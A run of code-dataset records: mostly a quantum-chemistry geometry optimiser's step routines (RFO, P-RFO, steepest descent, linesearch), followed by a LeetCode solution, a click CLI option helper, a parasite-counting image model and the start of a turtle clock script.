symm_rfo_step: # Root is assymmetric so reject it.\n print_opt(\"\\tRejecting RFO root %d because it breaks the molecular point group.\\n\"\\\n % (rfo_root+1))\n continue\n\n # Check normalizability of root.\n if fabs(SRFOevects[i][dim]) < 1.0e-10: # don't even try to divide\n print_opt(\n \"\\tRejecting RFO root %d because normalization gives large value.\\n\"\n % (rfo_root + 1))\n continue\n tval = absMax(SRFOevects[i] / SRFOevects[i][dim])\n if tval > op.Params.rfo_normalization_max: # matching test in code above\n print_opt(\n \"\\tRejecting RFO root %d because normalization gives large value.\\n\"\n % (rfo_root + 1))\n continue\n rfo_root = i # This root is acceptable.\n break\n else:\n rfo_root = op.Params.rfo_root\n # no good one found, use the default\n\n # Save initial root. 'Follow' during the RS-RFO iterations.\n rfo_follow_root = True\n\n else: # Do root following.\n # Find maximum overlap. Dot only within H block.\n dots = np.array(\n [v3d.dot(SRFOevects[i], last_iter_evect, dim) for i in range(dim)], float)\n bestfit = np.argmax(dots)\n if bestfit != rfo_root:\n print_opt(\"Root-following has changed rfo_root value to %d.\" %\n (bestfit + 1))\n rfo_root = bestfit\n\n if alphaIter == 0:\n print_opt(\"\\tUsing RFO solution %d.\\n\" % (rfo_root + 1))\n last_iter_evect[:] = SRFOevects[rfo_root][0:dim] # omit last column on right\n\n # Print only the lowest eigenvalues/eigenvectors\n if op.Params.print_lvl >= 2:\n print_opt(\"\\trfo_root is %d\\n\" % (rfo_root + 1))\n for i in range(dim + 1):\n if SRFOevals[i] < -1e-6 or i < rfo_root:\n print_opt(\"Scaled RFO eigenvalue %d: %15.10lf (or 2*%-15.10lf)\\n\" %\n (i + 1, SRFOevals[i], SRFOevals[i] / 2))\n print_opt(\"eigenvector:\\n\")\n printArray(SRFOevects[i])\n\n dq[:] = SRFOevects[rfo_root][0:dim] # omit last column\n\n # Project out redundancies in steps.\n # Added this projection in 2014; but doesn't seem to help, as f,H are already projected.\n # project_dq(dq);\n # zero steps for frozen coordinates?\n\n dqtdq = np.dot(dq, dq)\n # If alpha explodes, give up on iterative scheme\n if fabs(alpha) > op.Params.rsrfo_alpha_max:\n converged = False\n alphaIter = max_projected_rfo_iter - 1\n elif sqrt(dqtdq) < (trust + 1e-5):\n converged = True\n\n if alphaIter == 0 and not op.Params.simple_step_scaling:\n print_opt(\"\\n\\tDetermining step-restricting scale parameter for RS-RFO.\\n\")\n\n if alphaIter == 0:\n print_opt(\"\\tMaximum step size allowed %10.5lf\\n\" % trust)\n print_opt(\"\\t Iter |step| alpha rfo_root \\n\")\n print_opt(\"\\t------------------------------------------------\\n\")\n print_opt(\"\\t%5d%12.5lf%14.5lf%12d\\n\" % (alphaIter + 1, sqrt(dqtdq), alpha,\n rfo_root + 1))\n\n elif alphaIter > 0 and not op.Params.simple_step_scaling:\n print_opt(\"\\t%5d%12.5lf%14.5lf%12d\\n\" % (alphaIter + 1, sqrt(dqtdq), alpha,\n rfo_root + 1))\n\n # Find the analytical derivative, d(norm step squared) / d(alpha)\n Lambda = -1 * v3d.dot(fq, dq, dim)\n if op.Params.print_lvl >= 2:\n print_opt(\"dq:\\n\")\n printArray(dq, dim)\n print_opt(\"fq:\\n\")\n printArray(fq, dim)\n print_opt(\"\\tLambda calculated by (dq^t).(-f) = %20.10lf\\n\" % Lambda)\n\n # Calculate derivative of step size wrt alpha.\n # Equation 20, Besalu and Bofill, Theor. Chem. Acc., 1999, 100:265-274\n tval = 0\n for i in range(dim):\n tval += (pow(v3d.dot(Hevects[i], fq, dim), 2)) / (pow(\n (Hevals[i] - Lambda * alpha), 3))\n\n analyticDerivative = 2 * Lambda / (1 + alpha * dqtdq) * tval\n if op.Params.print_lvl >= 2:\n print_opt(\"\\tAnalytic derivative d(norm)/d(alpha) = %20.10lf\\n\" %\n analyticDerivative)\n\n # Calculate new scaling alpha value.\n # Equation 20, Besalu and Bofill, Theor. Chem. Acc., 1999, 100:265-274\n alpha += 2 * (trust * sqrt(dqtdq) - dqtdq) / analyticDerivative\n\n # end alpha RS-RFO iterations\n\n print_opt(\"\\t------------------------------------------------\\n\")\n\n # Crude/old way to limit step size if RS-RFO iterations\n if not converged or op.Params.simple_step_scaling:\n applyIntrafragStepScaling(dq)\n\n if op.Params.print_lvl >= 3:\n print_opt(\"\\tFinal scaled step dq:\\n\")\n printArray(dq)\n\n # Get norm |dq|, unit vector, gradient and hessian in step direction\n # TODO double check Hevects[i] here instead of H ? as for NR\n rfo_dqnorm = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of target step-size %15.10f\\n\" % rfo_dqnorm)\n rfo_u = dq.copy() / rfo_dqnorm\n rfo_g = -1 * np.dot(fq, rfo_u)\n rfo_h = np.dot(rfo_u, np.dot(H, rfo_u))\n DEprojected = DE_projected('RFO', rfo_dqnorm, rfo_g, rfo_h)\n if op.Params.print_lvl > 1:\n print_opt('\\t|RFO target step| : %15.10f\\n' % rfo_dqnorm)\n print_opt('\\tRFO gradient : %15.10f\\n' % rfo_g)\n print_opt('\\tRFO hessian : %15.10f\\n' % rfo_h)\n print_opt(\"\\tProjected energy change by RFO approximation: %20.10lf\\n\" % DEprojected)\n\n # Scale fq into aJ for printing\n fq_aJ = qShowForces(Molsys.intcos, fq)\n\n # this won't work for multiple fragments yet until dq and fq get cut up.\n for F in Molsys._fragments:\n displace(F.intcos, F.geom, dq, fq_aJ)\n\n # For now, saving RFO unit vector and using it in projection to match C++ code,\n # could use actual Dq instead.\n dqnorm_actual = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dqnorm_actual)\n\n # To test step sizes\n #x_before = original geometry\n #x_after = new geometry\n #masses\n #change = 0.0;\n #for i in range(Natom):\n # for xyz in range(3):\n # change += (x_before[3*i+xyz] - x_after[3*i+xyz]) * (x_before[3*i+xyz] - x_after[3*i+xyz])\n # * masses[i]\n #change = sqrt(change);\n #print_opt(\"Step-size in mass-weighted cartesian coordinates [bohr (amu)^1/2] : %20.10lf\\n\" % change)\n\n #print_opt(\"\\tSymmetrizing new geometry\\n\")\n #geom = symmetrizeXYZ(geom)\n\n History.appendRecord(DEprojected, dq, rfo_u, rfo_g, rfo_h)\n\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n # Before quitting, make sure step is reasonable. It should only be\n # screwball if we are using the \"First Guess\" after the back-transformation failed.\n if sqrt(np.dot(dq, dq)) > 10 * trust:\n raise optExceptions.ALG_FAIL(\"opt.py: Step is far too large.\")\n\n return dq\n\n\ndef Dq_P_RFO(Molsys, E, fq, H):\n Hdim = len(fq) # size of Hessian\n trust = op.Params.intrafrag_trust # maximum step size\n rfo_follow_root = op.Params.rfo_follow_root # whether to follow root\n print_lvl = op.Params.print_lvl\n\n if print_lvl > 2:\n print_opt(\"Hessian matrix\\n\")\n printMat(H)\n\n # Diagonalize H (technically only have to semi-diagonalize)\n hEigValues, hEigVectors = symmMatEig(H)\n\n if print_lvl > 2:\n print_opt(\"Eigenvalues of Hessian\\n\")\n printArray(hEigValues)\n print_opt(\"Eigenvectors of Hessian (rows)\\n\")\n printMat(hEigVectors)\n\n # Construct diagonalized Hessian with evals on diagonal\n HDiag = np.zeros((Hdim, Hdim), float)\n for i in range(Hdim):\n HDiag[i, i] = hEigValues[i]\n\n if print_lvl > 2:\n print_opt(\"H diagonal\\n\")\n printMat(HDiag)\n\n print_opt(\n \"\\tFor P-RFO, assuming rfo_root=1, maximizing along lowest eigenvalue of Hessian.\\n\"\n )\n print_opt(\"\\tLarger values of rfo_root are not yet supported.\\n\")\n rfo_root = 0\n \"\"\" TODO: use rfo_root to decide which eigenvectors are moved into the max/mu space.\n if not rfo_follow_root or len(History.steps) < 2:\n rfo_root = op.Params.rfo_root\n print_opt(\"\\tMaximizing along %d lowest eigenvalue of Hessian.\\n\" % (rfo_root+1) )\n else:\n last_iter_evect = history[-1].Dq\n dots = np.array([v3d.dot(hEigVectors[i],last_iter_evect,Hdim) for i in range(Hdim)], float)\n rfo_root = np.argmax(dots)\n print_opt(\"\\tOverlaps with previous step checked for root-following.\\n\")\n print_opt(\"\\tMaximizing along %d lowest eigenvalue of Hessian.\\n\" % (rfo_root+1) )\n \"\"\"\n\n # number of degrees along which to maximize; assume 1 for now\n mu = 1\n\n print_opt(\"\\tInternal forces in au:\\n\")\n printArray(fq)\n\n fqTransformed = np.dot(hEigVectors, fq) #gradient transformation\n print_opt(\"\\tInternal forces in au, in Hevect basis:\\n\")\n printArray(fqTransformed)\n\n # Build RFO max\n maximizeRFO = np.zeros((mu + 1, mu + 1), float)\n for i in range(mu):\n maximizeRFO[i, i] = hEigValues[i]\n maximizeRFO[i, -1] = -fqTransformed[i]\n maximizeRFO[-1, i] = -fqTransformed[i]\n if print_lvl > 2:\n print_opt(\"RFO max\\n\")\n printMat(maximizeRFO)\n\n # Build RFO min\n minimizeRFO = np.zeros((Hdim - mu + 1, Hdim - mu + 1), float)\n for i in range(0, Hdim - mu):\n minimizeRFO[i, i] = HDiag[i + mu, i + mu]\n minimizeRFO[i, -1] = -fqTransformed[i + mu]\n minimizeRFO[-1, i] = -fqTransformed[i + mu]\n if print_lvl > 2:\n print_opt(\"RFO min\\n\")\n printMat(minimizeRFO)\n\n RFOMaxEValues, RFOMaxEVectors = symmMatEig(maximizeRFO)\n RFOMinEValues, RFOMinEVectors = symmMatEig(minimizeRFO)\n\n print_opt(\"RFO min eigenvalues:\\n\")\n printArray(RFOMinEValues)\n print_opt(\"RFO max eigenvalues:\\n\")\n printArray(RFOMaxEValues)\n\n if print_lvl > 2:\n print_opt(\"RFO min eigenvectors (rows) before normalization:\\n\")\n printMat(RFOMinEVectors)\n print_opt(\"RFO max eigenvectors (rows) before normalization:\\n\")\n printMat(RFOMaxEVectors)\n\n # Normalize max and min eigenvectors\n for i in range(mu + 1):\n if abs(RFOMaxEVectors[i, mu]) > 1.0e-10:\n tval = abs(absMax(RFOMaxEVectors[i, 0:mu]) / RFOMaxEVectors[i, mu])\n if fabs(tval) < op.Params.rfo_normalization_max:\n RFOMaxEVectors[i] /= RFOMaxEVectors[i, mu]\n if print_lvl > 2:\n print_opt(\"RFO max eigenvectors (rows):\\n\")\n printMat(RFOMaxEVectors)\n\n for i in range(Hdim - mu + 1):\n if abs(RFOMinEVectors[i][Hdim - mu]) > 1.0e-10:\n tval = abs(\n absMax(RFOMinEVectors[i, 0:Hdim - mu]) / RFOMinEVectors[i, Hdim - mu])\n if fabs(tval) < op.Params.rfo_normalization_max:\n RFOMinEVectors[i] /= RFOMinEVectors[i, Hdim - mu]\n if print_lvl > 2:\n print_opt(\"RFO min eigenvectors (rows):\\n\")\n printMat(RFOMinEVectors)\n\n VectorP = RFOMaxEVectors[mu, 0:mu]\n VectorN = RFOMinEVectors[rfo_root, 0:Hdim - mu]\n print_opt(\"Vector P\\n\")\n print_opt(str(VectorP) + '\\n')\n print_opt(\"Vector N\\n\")\n print_opt(str(VectorN) + '\\n')\n\n # Combines the eignvectors from RFO max and min\n PRFOEVector = np.zeros(Hdim, float)\n PRFOEVector[0:len(VectorP)] = VectorP\n PRFOEVector[len(VectorP):] = VectorN\n\n PRFOStep = np.dot(hEigVectors.transpose(), PRFOEVector)\n\n if print_lvl > 1:\n print_opt(\"RFO step in Hessian Eigenvector Basis\\n\")\n printArray(PRFOEVector)\n print_opt(\"RFO step in original Basis\\n\")\n printArray(PRFOStep)\n\n dq = PRFOStep\n\n #if not converged or op.Params.simple_step_scaling:\n applyIntrafragStepScaling(dq)\n\n # Get norm |dq|, unit vector, gradient and hessian in step direction\n # TODO double check Hevects[i] here instead of H ? as for NR\n rfo_dqnorm = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of target step-size %15.10f\\n\" % rfo_dqnorm)\n rfo_u = dq.copy() / rfo_dqnorm\n rfo_g = -1 * np.dot(fq, rfo_u)\n rfo_h = np.dot(rfo_u, np.dot(H, rfo_u))\n DEprojected = DE_projected('RFO', rfo_dqnorm, rfo_g, rfo_h)\n if op.Params.print_lvl > 1:\n print_opt('\\t|RFO target step| : %15.10f\\n' % rfo_dqnorm)\n print_opt('\\tRFO gradient : %15.10f\\n' % rfo_g)\n print_opt('\\tRFO hessian : %15.10f\\n' % rfo_h)\n print_opt(\"\\tProjected Delta(E) : %15.10f\\n\\n\" % DEprojected)\n\n # Scale fq into aJ for printing\n fq_aJ = qShowForces(Molsys.intcos, fq)\n\n # this won't work for multiple fragments yet until dq and fq get cut up.\n for F in Molsys._fragments:\n displace(F.intcos, F.geom, dq, fq_aJ)\n\n # For now, saving RFO unit vector and using it in projection to match C++ code,\n # could use actual Dq instead.\n dqnorm_actual = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dqnorm_actual)\n\n History.appendRecord(DEprojected, dq, rfo_u, rfo_g, rfo_h)\n\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n # Before quitting, make sure step is reasonable. It should only be\n # screwball if we are using the \"First Guess\" after the back-transformation failed.\n if sqrt(np.dot(dq, dq)) > 10 * trust:\n raise optExceptions.ALG_FAIL(\"opt.py: Step is far too large.\")\n\n return dq\n\n\n# Take Steepest Descent step\ndef Dq_SD(Molsys, E, fq):\n print_opt(\"\\tTaking SD optimization step.\\n\")\n dim = len(fq)\n sd_h = op.Params.sd_hessian # default value\n\n if len(History.steps) > 1:\n previous_forces = History.steps[-2].forces\n previous_dq = History.steps[-2].Dq\n\n # Compute overlap of previous forces with current forces.\n previous_forces_u = previous_forces.copy() / np.linalg.norm(previous_forces)\n forces_u = fq.copy() / np.linalg.norm(fq)\n overlap = np.dot(previous_forces_u, forces_u)\n print_opt(\"\\tOverlap of current forces with previous forces %8.4lf\\n\" % overlap)\n previous_dq_norm = np.linalg.norm(previous_dq)\n\n if overlap > 0.50:\n # Magnitude of current force\n fq_norm = np.linalg.norm(fq)\n # Magnitude of previous force in step direction\n previous_forces_norm = v3d.dot(previous_forces, fq, dim) / fq_norm\n sd_h = (previous_forces_norm - fq_norm) / previous_dq_norm\n\n print_opt(\"\\tEstimate of Hessian along step: %10.5e\\n\" % sd_h)\n dq = fq / sd_h\n\n applyIntrafragStepScaling(dq)\n\n sd_dqnorm = np.linalg.norm(dq)\n print_opt(\"\\tNorm of target step-size %10.5f\\n\" % sd_dqnorm)\n\n # unit vector in step direction\n sd_u = dq.copy() / np.linalg.norm(dq)\n sd_g = -1.0 * sd_dqnorm\n\n DEprojected = DE_projected('NR', sd_dqnorm, sd_g, sd_h)\n print_opt(\n \"\\tProjected energy change by quadratic approximation: %20.10lf\\n\" % DEprojected)\n\n fq_aJ = qShowForces(Molsys.intcos, fq) # for printing\n displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n\n dqnorm_actual = np.linalg.norm(dq)\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dqnorm_actual)\n\n # Symmetrize the geometry for next step\n # symmetrize_geom()\n\n History.appendRecord(DEprojected, dq, sd_u, sd_g, sd_h)\n\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n return dq\n\n\n# Take partial backward step. Update current step in history.\n# Divide the last step size by 1/2 and displace from old geometry.\n# HISTORY contains:\n# consecutiveBacksteps : increase by 1\n# HISTORY.STEP contains:\n# No change to these:\n# forces, geom, E, followedUnitVector, oneDgradient, oneDhessian\n# Update these:\n# Dq - cut in half\n# projectedDE - recompute\n\n\ndef Dq_BACKSTEP(Molsys):\n print_opt(\"\\tRe-doing last optimization step - smaller this time.\\n\")\n\n # Calling function shouldn't let this happen; this is a check for developer\n if len(History.steps) < 2:\n raise optExceptions.OPT_FAIL(\"Backstep called, but no history is available.\")\n\n # Erase last, partial step data for current step.\n del History.steps[-1]\n\n # Get data from previous step.\n fq = History.steps[-1].forces\n dq = History.steps[-1].Dq\n oneDgradient = History.steps[-1].oneDgradient\n oneDhessian = History.steps[-1].oneDhessian\n # Copy old geometry so displace doesn't change history\n geom = History.steps[-1].geom.copy()\n\n #print_opt('test geom old from history\\n')\n #printMat(Molsys.geom)\n\n # Compute new Dq and energy step projection.\n dq /= 2\n dqNorm = np.linalg.norm(dq)\n print_opt(\"\\tNorm of target step-size %10.5f\\n\" % dqNorm)\n\n # Compute new Delta(E) projection.\n if op.Params.step_type == 'RFO':\n DEprojected = DE_projected('RFO', dqNorm, oneDgradient, oneDhessian)\n else:\n DEprojected = DE_projected('NR', dqNorm, oneDgradient, oneDhessian)\n print_opt(\"\\tProjected energy change : %20.10lf\\n\" % DEprojected)\n\n fq_aJ = qShowForces(Molsys.intcos, fq) # for printing\n # Displace from previous geometry\n displace(Molsys._fragments[0].intcos, geom, dq, fq_aJ)\n Molsys.geom = geom # uses setter; writes into all fragments\n\n dqNormActual = np.linalg.norm(dq)\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dqNormActual)\n # Symmetrize the geometry for next step\n # symmetrize_geom()\n\n # Update the history entries which changed.\n History.steps[-1].projectedDE = DEprojected\n History.steps[-1].Dq[:] = dq\n\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n return dq\n\n\n# Take Rational Function Optimization step\ndef Dq_LINESEARCH(Molsys, E, fq, H, energy_function):\n s = op.Params.linesearch_step\n\n if len(History.steps) > 1:\n s = norm(History.steps[-2].Dq) / 2\n print_opt(\"\\tModifying linesearch s to %10.6f\\n\" % s)\n\n print_opt(\"\\n\\tTaking LINESEARCH optimization step.\\n\")\n print_opt(\"\\tUnit vector in gradient direction.\\n\")\n fq_unit = fq / sqrt(np.dot(fq, fq))\n printArray(fq_unit)\n Ea = E\n geomA = Molsys.geom # get copy of original geometry\n Eb = Ec = 0\n bounded = False\n ls_iter = 0\n stepScale = 2\n\n # Iterate until we find 3 points bounding minimum.\n while ls_iter < 10 and not bounded:\n ls_iter += 1\n\n if Eb == 0:\n print_opt(\"\\n\\tStepping along forces distance %10.5f\\n\" % s)\n dq = s * fq_unit\n fq_aJ = qShowForces(Molsys.intcos, fq)\n displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n xyz = Molsys.geom\n print_opt(\"\\tComputing energy at this point now.\\n\")\n Eb = energy_function(xyz)\n Molsys.geom = geomA # reset geometry to point A\n\n if Ec == 0:\n print_opt(\"\\n\\tStepping along forces distance %10.5f\\n\" % (stepScale * s))\n dq = (stepScale * s) * fq_unit\n fq_aJ = qShowForces(Molsys.intcos, fq)\n displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n xyz = Molsys.geom\n print_opt(\"\\tComputing energy at this point now.\\n\")\n Ec = energy_function(xyz)\n Molsys.geom = geomA # reset geometry to point A\n\n print_opt(\"\\n\\tCurrent linesearch bounds.\\n\")\n print_opt(\"\\t s=%7.5f, Ea=%17.12f\\n\" % (0, Ea))\n print_opt(\"\\t s=%7.5f, Eb=%17.12f\\n\" % (s, Eb))\n print_opt(\"\\t s=%7.5f, Ec=%17.12f\\n\" % (stepScale * s, Ec))\n\n if Eb < Ea and Eb < Ec:\n # second point is lowest do projection\n print_opt(\"\\tMiddle point is lowest energy. Good. Projecting minimum.\\n\")\n Sa = 0.0\n Sb = s\n Sc = stepScale * s\n\n A = np.zeros((2, 2), float)\n A[0, 0] = Sc * Sc - Sb * Sb\n A[0, 1] = Sc - Sb\n A[1, 0] = Sb * Sb - Sa * Sa\n A[1, 1] = Sb - Sa\n B = np.zeros((2), float)\n B[0] = Ec - Eb\n B[1] = Eb - Ea\n x = np.linalg.solve(A, B)\n Xmin = -x[1] / (2 * x[0])\n\n print_opt(\"\\tParabolic fit ax^2 + bx + c along gradient.\\n\")\n print_opt(\"\\t *a = %15.10f\\n\" % x[0])\n print_opt(\"\\t *b = %15.10f\\n\" % x[1])\n print_opt(\"\\t *c = %15.10f\\n\" % Ea)\n Emin_projected = x[0] * Xmin * Xmin + x[1] * Xmin + Ea\n dq = Xmin * fq_unit\n print_opt(\"\\tProjected step size to minimum is %12.6f\\n\" % Xmin)\n displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n xyz = Molsys.geom\n print_opt(\"\\tComputing energy at projected point.\\n\")\n Emin = energy_function(xyz)\n print_opt(\"\\tProjected energy along line: %15.10f\\n\" % Emin_projected)\n print_opt(\"\\t Actual energy along line: %15.10f\\n\" % Emin)\n\n bounded = True\n\n elif Ec < Eb and Ec < Ea:\n # unbounded. increase step size\n print_opt(\"\\tSearching with larger step beyond 3rd point.\\n\")\n s *= stepScale\n Eb = Ec\n Ec = 0\n\n else:\n print_opt(\"\\tSearching with smaller step between first 2 points.\\n\")\n s *= 0.5\n Ec = Eb\n Eb = 0\n\n # get norm |q| and unit vector in the step direction\n ls_dqnorm = sqrt(np.dot(dq, dq))\n ls_u = dq.copy() / ls_dqnorm\n\n # get gradient and hessian in step direction\n ls_g = -1 * np.dot(fq, ls_u) # should be unchanged\n ls_h = np.dot(ls_u, np.dot(H, ls_u))\n\n print_opt(\"\\n\")\n\n if op.Params.print_lvl > 1:\n print_opt('\\t|target step|: %15.10f\\n' % ls_dqnorm)\n print_opt('\\tLS_gradient : %15.10f\\n' % ls_g)\n print_opt('\\tLS_hessian : %15.10f\\n' % ls_h)\n\n DEprojected = DE_projected('NR', ls_dqnorm, ls_g, ls_h)\n print_opt(\n \"\\tProjected quadratic energy change using full Hessian: %15.10f\\n\" % DEprojected)\n\n # Scale fq into aJ for printing\n #fq_aJ = qShowForces(Molsys.intcos, fq)\n #displace(Molsys._fragments[0].intcos, Molsys._fragments[0].geom, dq, fq_aJ)\n\n dq_actual = sqrt(np.dot(dq, dq))\n print_opt(\"\\tNorm of achieved step-size %15.10f\\n\" % dq_actual)\n\n # Symmetrize the geometry for next step\n # symmetrize_geom()\n\n # save values in step data\n History.appendRecord(DEprojected, dq, ls_u, ls_g, ls_h)\n\n # Can check full geometry, but returned indices will correspond then to that.\n linearList = linearBendCheck(Molsys.intcos, Molsys.geom, dq)\n if linearList:\n raise optExceptions.ALG_FAIL(\"New linear angles\", newLinearBends=linearList)\n\n return dq\n","sub_path":"optking/stepAlgorithms.py","file_name":"stepAlgorithms.py","file_ext":"py","file_size_in_byte":31931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"263837982","text":"# Unique Number of Occurrences\n\n# Given an array of integers arr, write a function that returns true if and only if the number of occurrences of each value in the array is unique.\n\n# Example 1:\n\n# Input: arr = [1,2,2,1,1,3]\n# Output: true\n# Explanation: The value 1 has 3 occurrences, 2 has 2 and 3 has 1. No two values\n# have the same number of occurrences.\n\nclass Solution:\n def uniqueOccurrences(self, arr: List[int]) -> bool:\n occurances = {}\n for num in arr:\n if num in occurances:\n occurances[num] += 1\n else:\n occurances[num] = 1\n unique_occurances = {}\n for occurance in occurances.values():\n if occurance in unique_occurances:\n return False\n else:\n unique_occurances[occurance] = True\n return True\n","sub_path":"easy/unique_number_of_occurances.py","file_name":"unique_number_of_occurances.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"654114019","text":"import click\n\n\ndef create_flavor_option(multiple):\n help_message = \"Path to the directory with the flavor definition.\\n\" + \\\n \"The last segment of the path is used as the name of the flavor.\"\n if multiple:\n help_addition = \"The option can be repeated with different flavors.\\n\" + \\\n \"The system will run the command for each flavor.\"\n help_message = help_message + \"\\n\" + help_addition\n\n return click.option('--flavor-path',\n required=True,\n multiple=multiple,\n type=click.Path(exists=True, file_okay=False, dir_okay=True),\n help=help_message)\n\n\nflavor_options = [create_flavor_option(multiple=True)]\nsingle_flavor_options = [create_flavor_option(multiple=False)]\n","sub_path":"exaslct_src/exaslct/cli/options/flavor_options.py","file_name":"flavor_options.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"545849735","text":"\"\"\"This file is for couting problem (step 2).\n\nSample predictive model.\nYou must supply at least 4 methods:\n- fit: trains the model.\n- predict: uses the model to perform predictions.\n\"\"\"\nimport numpy as np # We recommend to use numpy arrays\nfrom sklearn.base import BaseEstimator\nimport skimage.filters as filters\n\n\nclass model_count(BaseEstimator):\n \"\"\"Main class for Couting problem.\"\"\"\n\n def __init__(self, clf_model):\n \"\"\"Init method.\n\n This constructor is supposed to initialize data members.\n It takes as input the binary classification model of patches.\n (You can use it for fit and predict method)\n \"\"\"\n self.clf_model = clf_model # Trained model from patch classification\n\n def fit(self, X, y):\n \"\"\"Fit method.\n\n This function should train the model parameters.\n Here we do nothing in this example...\n Args:\n X: Training data matrix of dim num_train_samples * num_feat.\n An image has the following shape (750, 750, 3) then 1687500 features.\n y: Training label matrix of dim num_train_samples * num_labels.\n Both inputs are numpy arrays.\n \"\"\"\n self.num_train_samples = X.shape[0]\n X = X.reshape((self.num_train_samples, 750, 750, 3))\n\n self.is_trained = True\n\n def predict(self, X):\n \"\"\"Predict method.\n\n This function should provide predictions of labels on (test) data.\n The function predict the number of parasites in an image.\n Args:\n X: Training data matrix of dim num_train_samples * num_feat.\n An image has the following shape (750, 750, 3) then 1687500 features.\n It is a simple sliding widow of the current classification model.\n To aggregate information from window,\n we use non maximum suppression method.\n \"\"\"\n step = 15 # step sliding window\n size = 40\n self.num_train_samples = X.shape[0]\n X = X.reshape((self.num_train_samples, 750, 750, 3))\n\n pred = []\n\n for img in X: # Loop to predict the number of parasites in each image\n p = self.predict_proba(img, step, size)\n boxes = self._get_boxes(img, p, step, size, threshold=0.5)\n found = self.non_maximum_suppression(boxes, overlapThresh=0.3)\n pred.append(len(found))\n\n return pred\n\n def predict_proba(self, img, step, size):\n \"\"\"Predict method.\n\n The function predict the probability of being positive for all patches\n extrated from one image with fixed step.\n Args:\n img: Image (750, 750, 3).\n step: step for sliding window\n size: size of the patch\n \"\"\"\n height, width, channels = img.shape\n\n probs = np.zeros((int(img.shape[0]*1.0/step),\n int(img.shape[1]*1.0/step)))\n patches = []\n\n y = 0\n while y+(size) < height:\n x = 0\n predictions = []\n while (x + size < width):\n left = x\n right = x+(size)\n top = y\n bottom = y+(size)\n patches.append(img[top:bottom, left:right, :])\n x += step\n y += step\n\n p = np.array(patches)\n predictions = self.clf_model.predict(p.reshape((p.shape[0], 40,40,3)))\n i = 0\n y = 0\n while y+(size) < height:\n x = 0\n while (x+(size) < width):\n left = x\n right = x+(size)\n top = y\n bottom = y+(size)\n probs[int(y/step), int(x/step)] = predictions[i]\n i += 1\n x += step\n y += step\n\n return probs\n\n def _get_boxes(self, img, probs, step, size, threshold=0.5):\n probs = filters.gaussian(probs, 1)\n\n height, width, channels = img.shape\n boxes = []\n\n i = 0\n y = 0\n while y+(size) < height:\n x = 0\n while (x+(size) < width):\n left = int(x)\n right = int(x+(size))\n top = int(y)\n bottom = int(y+(size))\n if probs[int(y/step), int(x/step)] > threshold:\n boxes.append([left, top, right, bottom,\n probs[int(y/step), int(x/step)]])\n i += 1\n x += step\n y += step\n\n if len(boxes) == 0:\n return np.array([])\n\n boxes = np.vstack(boxes)\n return boxes\n\n def non_maximum_suppression(self, boxes, overlapThresh):\n \"\"\"Malisiewicz et al.\n\n Python port by Adrian Rosebrock\n \"\"\"\n # if there are no boxes, return an empty list\n if len(boxes) == 0:\n return []\n\n # if the bounding boxes integers, convert them to floats --\n # this is important since we'll be doing a bunch of divisions\n if boxes.dtype.kind == \"i\":\n boxes = boxes.astype(\"float\")\n\n # initialize the list of picked indexes\n pick = []\n\n # grab the coordinates of the bounding boxes\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n\n # compute the area of the bounding boxes and sort the bounding\n # boxes by the bottom-right y-coordinate of the bounding box\n area = (x2 - x1 + 1) * (y2 - y1 + 1)\n idxs = np.argsort(y2)\n\n # keep looping while some indexes still remain in the indexes list\n while len(idxs) > 0:\n # grab the last index in the indexes list and add the\n # index value to the list of picked indexes\n last = len(idxs) - 1\n i = idxs[last]\n pick.append(i)\n\n # find the largest (x, y) coordinates for the start of\n # the bounding box and the smallest (x, y) coordinates\n # for the end of the bounding box\n xx1 = np.maximum(x1[i], x1[idxs[:last]])\n yy1 = np.maximum(y1[i], y1[idxs[:last]])\n xx2 = np.minimum(x2[i], x2[idxs[:last]])\n yy2 = np.minimum(y2[i], y2[idxs[:last]])\n\n # compute the width and height of the bounding box\n w = np.maximum(0, xx2 - xx1 + 1)\n h = np.maximum(0, yy2 - yy1 + 1)\n\n # compute the ratio of overlap\n overlap = (w * h) / area[idxs[:last]]\n\n # delete all indexes from the index list that have\n idxs = np.delete(idxs, np.concatenate(([last],\n np.where(overlap > overlapThresh)[0])))\n\n # return only the bounding boxes that were picked using the\n # integer data type\n return boxes[pick].astype(\"int\")\n","sub_path":"Data Science Africa 2019/Microscope/starting_kit/sample_code_submission_19-05-23-18-23/model_count.py","file_name":"model_count.py","file_ext":"py","file_size_in_byte":7016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"118121103","text":"#Analouge Clock by SubControl(Mustafa Dağkıranlar)\r\n#-----Notes-Start-------#\r\n# wn = window #\r\n#-----Notes-End---------#\r\n\r\n# Watch interface start\r\nimport turtle\r\nimport time\r\nwindow = 